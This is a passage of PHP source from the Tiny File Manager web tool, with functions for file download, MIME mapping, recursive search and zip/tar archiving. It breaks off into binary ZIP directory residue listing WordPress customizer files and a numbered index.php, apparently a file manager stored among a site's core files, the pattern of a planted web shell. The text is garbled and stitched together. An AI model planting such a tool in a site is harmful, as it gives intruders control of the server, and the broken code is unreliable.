'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PK!"63$$$class-wp-customize-media-control.phpnu[PK!.PP'%class-wp-customize-nav-menu-control.phpnu[PK!I4 2-class-wp-customize-background-position-control.phpnu[PK!HL`{LL%9class-wp-customize-filter-setting.phpnu[PK!W.kk,<class-wp-customize-nav-menu-name-control.phpnu[PK! Foq.q.$dAclass-wp-customize-theme-control.phpnu[PK!0)pclass-wp-customize-nav-menu-location-control.phpnu[PK!fII'yclass-wp-customize-nav-menu-setting.phpnu[PK!-'class-wp-customize-new-menu-control.phpnu[PK!ܼH'class-wp-customize-new-menu-section.phpnu[PK!38<)class-wp-sidebar-block-editor-control.phpnu[PK!&'class-wp-customize-nav-menu-section.phpnu[PK!EH)H)class-wp-customize-partial.phpnu[PK!ʘ*class-wp-widget-area-customize-control.phpnu[PK!YV V *class-wp-widget-form-customize-control.phpnu[PK!^^+Mclass-wp-customize-header-image-control.phpnu[PK!Ѡbb03class-wp-customize-nav-menu-auto-add-control.phpnu[PK!/7class-wp-customize-background-image-setting.phpnu[PK!s3%:class-wp-customize-upload-control.phpnu[PK!Ȋkk,?class-wp-customize-nav-menu-item-setting.phpnu[PK!  1class-wp-customize-nav-menu-locations-control.phpnu[PK!F,class-wp-customize-nav-menu-item-control.phpnu[PK!K $ *Nclass-wp-customize-code-editor-control.phpnu[PK!\/class-wp-customize-background-image-control.phpnu[PK!m55(class-wp-customize-selective-refresh.phpnu[PK!.k *error_lognu[PK!Mf##&class-wp-customize-sidebar-section.phpnu[PK!=j_=55(class-wp-customize-site-icon-control.phpnu[PK!s^$$(-class-wp-customize-date-time-control.phpnu[PK!.}$TRclass-wp-customize-image-control.phpnu[PK!9 z++%cWclass-wp-customize-themes-section.phpnu[PK!=8p,rclass-wp-customize-cropped-image-control.phpnu[PK![@` &xclass-wp-customize-nav-menus-panel.phpnu[PK!m' $5class-wp-customize-color-control.phpnu[PK!!LX9 9 #class-wp-customize-themes-panel.phpnu[PK!K+class-wp-customize-header-image-setting.phpnu[PK!XT)`class-wp-customize-custom-css-setting.phpnu[PK! aindex.phpnu[PK!7<<557092/index.phpnu[PK''